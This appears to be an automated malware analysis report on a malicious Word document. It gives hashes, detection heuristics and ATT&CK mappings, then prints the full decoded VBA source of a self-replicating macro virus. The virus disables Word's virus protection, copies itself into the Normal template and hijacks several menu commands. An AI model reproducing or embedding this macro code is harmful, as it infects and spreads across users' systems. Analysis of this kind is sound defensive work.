Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f984b3ad5a17da1…

MALICIOUS

Office (OLE)

30.5 KB Created: 2001-04-04 23:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d5e7cd372b01938f5b699ca6d1571a4d SHA-1: c509f851795c0b866cae4f7349667761e6396c6f SHA-256: 8f984b3ad5a17da160ca64c4ea6a31682827f52af4352f7d6e749866e897a36b
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and AutoClose functions, indicative of malicious intent. The script attempts to display a deceptive message about a virus and then copies itself to the normal template, likely for persistence and further spread. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Odious-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Odious-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2816 bytes
SHA-256: 1103e6804a281f904965f2e53d5ef6207eda788ecf7b642329047f4f4ea39287
Detection
ClamAV: Doc.Trojan.Odious-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hate_A"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoClose()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Function Virus()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayAlerts = wdAlertsNone
    E
    If VBE.MainWindow.Visible = True Then
        MsgBox "Dont Pannic This is an unDamage Virus - It was modified By Us To do no harm!!!", vbInformation, "Dont Worry"
        Open "c:\hate_h.vir" For Output As #1
            Print #1, "Your Office is infected with hate_h virus"
        Close #1
        Application.Quit SaveChanges:=wdDoNotSaveChanges
    End If
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerCopy A, B, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "Hate_A", wdOrganizerObjectProjectItems
End Function
Sub ExibirCódigoVB()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramGravarMacroAlternar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ExibirCódigo()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramMacro()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub InterromperGravação()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroIniciar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroParar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoModelos()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
    ActiveDocument.Save
End Sub

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